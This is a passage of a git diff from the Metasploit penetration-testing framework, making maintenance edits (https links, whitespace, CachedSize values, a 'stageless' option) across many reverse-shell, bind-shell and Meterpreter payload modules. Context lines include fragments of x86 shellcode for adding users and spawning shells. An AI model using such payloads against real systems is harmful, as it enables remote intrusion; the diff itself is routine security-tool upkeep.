@@ -77,5 +77,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb b/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb
index 89cb7af59d..0a54b0f140 100644
--- a/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -81,5 +81,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb
index 9a14d00ad8..94dbd28258 100644
--- a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
 
 module MetasploitModule
 
-  CachedSize = 789888
+  CachedSize = 855928
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'http'}
+    opts = {
+      scheme: 'http',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('powerpc64le-linux-musl', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb
index 97621306be..353b7ccf37 100644
--- a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_https.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
 
 module MetasploitModule
 
-  CachedSize = 789888
+  CachedSize = 855928
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'https'}
+    opts = {
+      scheme: 'https',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('powerpc64le-linux-musl', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb
index 7d27e19744..48c3abe40b 100644
--- a/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/ppc64le/meterpreter_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
 
 module MetasploitModule
 
-  CachedSize = 789888
+  CachedSize = 855928
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'tcp'}
+    opts = {
+      scheme: 'tcp',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('powerpc64le-linux-musl', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/x64/exec.rb b/modules/payloads/singles/linux/x64/exec.rb
index 272513b93f..5eb0ad2c58 100644
--- a/modules/payloads/singles/linux/x64/exec.rb
+++ b/modules/payloads/singles/linux/x64/exec.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 module MetasploitModule
 
   CachedSize = 47
diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb
index df1b072078..c8ec4d34ba 100644
--- a/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_linux'
 
 module MetasploitModule
 
-  CachedSize = 700032
+  CachedSize = 729184
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'http'}
+    opts = {
+      scheme: 'http',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb
index bfaac682d6..3e9f8ab1d6 100644
--- a/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_linux'
 
 module MetasploitModule
 
-  CachedSize = 700032
+  CachedSize = 729184
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'https'}
+    opts = {
+      scheme: 'https',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb
index 58a8544949..e52a985f0c 100644
--- a/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_linux'
 
 module MetasploitModule
 
-  CachedSize = 700032
+  CachedSize = 729184
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'tcp'}
+    opts = {
+      scheme: 'tcp',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/x64/shell_bind_tcp.rb b/modules/payloads/singles/linux/x64/shell_bind_tcp.rb
index 9182d2d539..1544386717 100644
--- a/modules/payloads/singles/linux/x64/shell_bind_tcp.rb
+++ b/modules/payloads/singles/linux/x64/shell_bind_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/bind_tcp'
 require 'msf/base/sessions/command_shell'
 require 'msf/base/sessions/command_shell_options'
@@ -80,5 +79,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb b/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb
index a68ae099a3..91617db603 100644
--- a/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb
+++ b/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -58,5 +58,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/linux/x64/shell_find_port.rb b/modules/payloads/singles/linux/x64/shell_find_port.rb
index d843580784..96d99b55c0 100644
--- a/modules/payloads/singles/linux/x64/shell_find_port.rb
+++ b/modules/payloads/singles/linux/x64/shell_find_port.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb b/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb
index d4a9fe4eac..6d121556b9 100644
--- a/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 require 'msf/base/sessions/command_shell'
 require 'msf/base/sessions/command_shell_options'
diff --git a/modules/payloads/singles/linux/x86/adduser.rb b/modules/payloads/singles/linux/x86/adduser.rb
index 2b3cf4721e..1636069824 100644
--- a/modules/payloads/singles/linux/x86/adduser.rb
+++ b/modules/payloads/singles/linux/x86/adduser.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 ###
 #
 # AddUser
@@ -55,5 +53,4 @@ module MetasploitModule
       "\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58" +
       "\xcd\x80"
   end
-
 end
diff --git a/modules/payloads/singles/linux/x86/chmod.rb b/modules/payloads/singles/linux/x86/chmod.rb
index d903bdabc5..01692bef65 100644
--- a/modules/payloads/singles/linux/x86/chmod.rb
+++ b/modules/payloads/singles/linux/x86/chmod.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/linux/x86/exec.rb b/modules/payloads/singles/linux/x86/exec.rb
index 9cc4413820..1b2bfca021 100644
--- a/modules/payloads/singles/linux/x86/exec.rb
+++ b/modules/payloads/singles/linux/x86/exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -45,5 +45,4 @@ module MetasploitModule
       Rex::Arch::X86.call(cmd.length + 1) + cmd + "\x00"     +
       "\x57\x53\x89\xe1\xcd\x80"
   end
-
 end
diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb
index 67da838251..3d44d1abe8 100644
--- a/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x86_linux'
 
 module MetasploitModule
 
-  CachedSize = 743740
+  CachedSize = 772828
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'http'}
+    opts = {
+      scheme: 'http',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb
index baef1d8db0..8d2f70e310 100644
--- a/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x86_linux'
 
 module MetasploitModule
 
-  CachedSize = 743740
+  CachedSize = 772828
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'https'}
+    opts = {
+      scheme: 'https',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb
index 96a94d4fb1..55bdf50aa5 100644
--- a/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x86_linux'
 
 module MetasploitModule
 
-  CachedSize = 743740
+  CachedSize = 772828
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'tcp'}
+    opts = {
+      scheme: 'tcp',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb b/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb
index b279966dbc..087456b152 100644
--- a/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb
+++ b/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/bind_tcp'
 require 'msf/base/sessions/meterpreter_x86_linux'
 require 'msf/base/sessions/meterpreter_options'
@@ -33,5 +32,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb b/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb
index e4af8ca47f..df8b0e3cd1 100644
--- a/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 require 'msf/base/sessions/meterpreter_x86_linux'
 require 'msf/base/sessions/meterpreter_options'
@@ -33,5 +32,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/linux/x86/read_file.rb b/modules/payloads/singles/linux/x86/read_file.rb
index 760296fcc7..12a6f5b6a7 100644
--- a/modules/payloads/singles/linux/x86/read_file.rb
+++ b/modules/payloads/singles/linux/x86/read_file.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -37,7 +37,7 @@ module MetasploitModule
       open:
         mov eax,0x5       ; open() syscall
         pop ebx           ; Holds the filename
-        xor ecx,ecx       ; Open for reading (0) 
+        xor ecx,ecx       ; Open for reading (0)
         int 0x80
 
       read:
diff --git a/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb b/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb
index 1546b9ccdc..8ce68f8e32 100644
--- a/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb
+++ b/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/linux/x86/shell_bind_tcp.rb b/modules/payloads/singles/linux/x86/shell_bind_tcp.rb
index 907c659cf4..13456e908d 100644
--- a/modules/payloads/singles/linux/x86/shell_bind_tcp.rb
+++ b/modules/payloads/singles/linux/x86/shell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -84,5 +84,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb b/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb
index 47206af55d..6b7e724ecd 100644
--- a/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb
+++ b/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -59,5 +59,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/linux/x86/shell_find_port.rb b/modules/payloads/singles/linux/x86/shell_find_port.rb
index 1b98c9d259..efc4af0c96 100644
--- a/modules/payloads/singles/linux/x86/shell_find_port.rb
+++ b/modules/payloads/singles/linux/x86/shell_find_port.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -67,5 +67,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/linux/x86/shell_find_tag.rb b/modules/payloads/singles/linux/x86/shell_find_tag.rb
index cac0120ad2..1ba15c465a 100644
--- a/modules/payloads/singles/linux/x86/shell_find_tag.rb
+++ b/modules/payloads/singles/linux/x86/shell_find_tag.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -49,5 +49,4 @@ module MetasploitModule
 
     super
   end
-
 end
diff --git a/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb b/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb
index 3c0b1c45ed..b8bc8649cd 100644
--- a/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -79,5 +79,4 @@ module MetasploitModule
     "\xb0\x0b"             +#   mov al,0xb (execve)
     "\xcd\x80"              #   int 0x80
   end
-
 end
diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb
index 7ffff62493..d5adac9574 100644
--- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
 
 module MetasploitModule
 
-  CachedSize = 864376
+  CachedSize = 893560
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'http'}
+    opts = {
+      scheme: 'http',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb
index 24fccb538f..0e8fe66ace 100644
--- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
 
 module MetasploitModule
 
-  CachedSize = 864376
+  CachedSize = 893560
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'https'}
+    opts = {
+      scheme: 'https',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb b/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb
index ae3216eee1..abb089db49 100644
--- a/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
 
 module MetasploitModule
 
-  CachedSize = 864376
+  CachedSize = 893560
 
   include Msf::Payload::Single
   include Msf::Sessions::MeterpreterOptions
@@ -36,7 +36,10 @@ module MetasploitModule
   end
 
   def generate
-    opts = {scheme: 'tcp'}
+    opts = {
+      scheme: 'tcp',
+      stageless: true
+    }
     MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec
   end
 end
diff --git a/modules/payloads/singles/mainframe/shell_reverse_tcp.rb b/modules/payloads/singles/mainframe/shell_reverse_tcp.rb
index e1e0dcc2ad..4ed9636e28 100644
--- a/modules/payloads/singles/mainframe/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/mainframe/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 # This payload has no ebcdic<->ascii translator built in.
 # Therefore it must use a shell which does, like mainframe_shell
@@ -22,7 +22,7 @@ module MetasploitModule
     super(merge_info(info,
       'Name'          => 'Z/OS (MVS) Command Shell, Reverse TCP Inline',
       'Description'   => 'Listen for a connection and spawn a command shell.
-          This implmentation does not include ebcdic character translation,
+          This implementation does not include ebcdic character translation,
           so a client with translation capabilities is required.  MSF handles
           this automatically.',
       'Author'        => 'Bigendian Smalls',
diff --git a/modules/payloads/singles/nodejs/shell_bind_tcp.rb b/modules/payloads/singles/nodejs/shell_bind_tcp.rb
index f5fefa661d..9791edb88f 100644
--- a/modules/payloads/singles/nodejs/shell_bind_tcp.rb
+++ b/modules/payloads/singles/nodejs/shell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ require 'msf/base/sessions/command_shell'
 
 module MetasploitModule
 
-  CachedSize = 456
+  CachedSize = 583
 
   include Msf::Payload::Single
   include Msf::Payload::NodeJS
diff --git a/modules/payloads/singles/nodejs/shell_reverse_tcp.rb b/modules/payloads/singles/nodejs/shell_reverse_tcp.rb
index 6d1d448787..dda23c29a5 100644
--- a/modules/payloads/singles/nodejs/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/nodejs/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -13,7 +13,7 @@ require 'msf/base/sessions/command_shell'
 
 module MetasploitModule
 
-  CachedSize = 488
+  CachedSize = 601
 
   include Msf::Payload::Single
   include Msf::Payload::NodeJS
diff --git a/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb
index 607fdd5556..aae3bf8947 100644
--- a/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb
+++ b/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
 
 module MetasploitModule
 
-  CachedSize = 516
+  CachedSize = 629
 
   include Msf::Payload::Single
   include Msf::Payload::NodeJS
diff --git a/modules/payloads/singles/osx/armle/shell_bind_tcp.rb b/modules/payloads/singles/osx/armle/shell_bind_tcp.rb
index a60604a5e6..fa2473cdc4 100644
--- a/modules/payloads/singles/osx/armle/shell_bind_tcp.rb
+++ b/modules/payloads/singles/osx/armle/shell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -106,5 +106,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb b/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb
index d2e1bef833..a43af24c1d 100644
--- a/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -93,5 +93,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/osx/armle/vibrate.rb b/modules/payloads/singles/osx/armle/vibrate.rb
index fc956b95ff..deb94d0a36 100644
--- a/modules/payloads/singles/osx/armle/vibrate.rb
+++ b/modules/payloads/singles/osx/armle/vibrate.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 module MetasploitModule
 
   CachedSize = 16
@@ -33,5 +31,4 @@ module MetasploitModule
       0x03ea4444  #  Parameter: 0x03ea
     ].pack("V*")
   end
-
 end
diff --git a/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb b/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb
index 746d25b74d..332223f4f6 100644
--- a/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb
+++ b/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -50,5 +50,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb b/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb
index 69340f6695..aeedef8185 100644
--- a/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -48,5 +48,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/osx/x64/exec.rb b/modules/payloads/singles/osx/x64/exec.rb
index c2cb3b5a05..6735236cc0 100644
--- a/modules/payloads/singles/osx/x64/exec.rb
+++ b/modules/payloads/singles/osx/x64/exec.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 module MetasploitModule
 
   CachedSize = 31
